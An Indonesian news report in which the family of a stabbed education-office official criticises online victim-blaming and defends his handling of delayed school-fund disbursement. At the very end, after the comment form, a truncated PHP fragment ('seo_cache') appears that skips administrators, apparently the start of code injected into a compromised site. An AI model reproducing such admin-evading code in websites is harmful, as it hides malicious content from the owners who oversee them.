Hukum

Keluarga Sesalkan Penghakiman Publik terhadap Korban Penikaman di Dinas P dan K Kabupaten SBD

×

Keluarga Sesalkan Penghakiman Publik terhadap Korban Penikaman di Dinas P dan K Kabupaten SBD

Sebarkan artikel ini

TAMBOLAKA, MENARASUMBA.COM – Keluarga Aloysius Lede Bora, Kepala Seksi Peningkatan Mutu dan Kurikulum SD di Dinas P dan K Kabupaten SBD yang jadi korban penikaman operator sekolah menyesalkan penghakiman netizen.

Hal itu diungkapkan Bene Dalupe selaku wakil keluarga dalam pernyataan pers, Selasa (17/06/2025).

“Sebagai pihak keluarga, kami nyatakan bahwa framing-framing di media itu, yang menyatakan bahwa mewajarkan, bahkan mengglorifikasi, membenarkan, mendukung pelaku, itu sama sekali tidak dapat kita benarkan,” ujarnya.

Pihak keluarga sangat menyesalkan begitu banyak pemberitaan atau komentar baik akun asli maupun akun palsu, yang sangat menghakimi.

Hal ini, sebut dia, merupakan pembunuhan karakter baik bagi korban maupun keluarga.

“Secara moral, maupun secara hukum. anda bayangkan ya, teman-teman wartawan, tiba-tiba anda ribut sebentar dengan tetangga, besoknya anda ditikam, terus orang bela pelakunya,” ucap Bene Dalupe.

“Anda bukan kriminal berat, anda bukan koruptor, anda bukan penjahat. Tapi orang bela pelaku yang tusuk anda. Nah ini standar moral kita di mana?” katanya lebih lanjut.

Atas dasar itulah maka pihak keluarga merasa harus memberi pernyataan untuk meluruskan dan memberikan informasi yang berimbang dari pihak korban agar diketahui publik.

Dirinya meminta kepada semua pihak, baik masyarakat, publik, netizen untuk bisa jeli melihat berita.

“Jangan langsung menjudge orang, menjudge dan mengatakan wajar korban mengalami seperti itu. Di mana hati nurani kita, ya. Kita harus pakai akal dan hati nurani untuk menilai sebuah persoalan,” tandasnya.

Keberadaan korban sebagai kepala seksi yang menangani pelaksanaan teknis saat itu semata hanya melakukan perintah atasan.

Korban Aloysius Lede Bora melaksanakan instruksi Kepala Bidang Pengelolaan SD yang meminta agar proses pencairan dana BOS dipending sambil menanti perbaikan data yang belum valid.

Karena pencairan dana BOS hanya dapat dilakukan manakala semua sudah sesuai data Dapodik.

“Lagi pula sudah ada penegasan kepada kepala sekolah dengan bukti tanda tangan yang menyatakan bahwa dana BOS di sekolah itu akan dicairkan jika datanya sudah benar,” terangnya lagi.

Bahkan, sesuai data dari pihak dinas pelaku penikaman yang disebut sebagai operator tidak terdata dalam Dapodik sebagai tenaga kependidikan.

Keluarga juga mengharapkan dukungan moral yang lebih besar dari pemerintah karena korban mengalami penyerangan saat sedang melaksanakan tugas di kantor.

“Terus dikawal, diberi dukungan, apakah itu berupa dukungan moral, dukungan hukum, dan seterusnya,” pinta Bene Dalupe.

Demikian halnya kepada aparat penegak hukum untuk dapat memproses kasus ini sebagaimana mestinya sesuai ketentuan hukum yang berlaku dan memberikan rasa keadilan.

“Jangan kami ini sudah pihak keluarga korban (yang) sudah hampir mati. Sudah dihakimi publik lagi bahwa dia wajar menerima itu. Dia wajar ditikam dan hampir dibunuh,” pungkasnya. ( JIP/MS )

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?>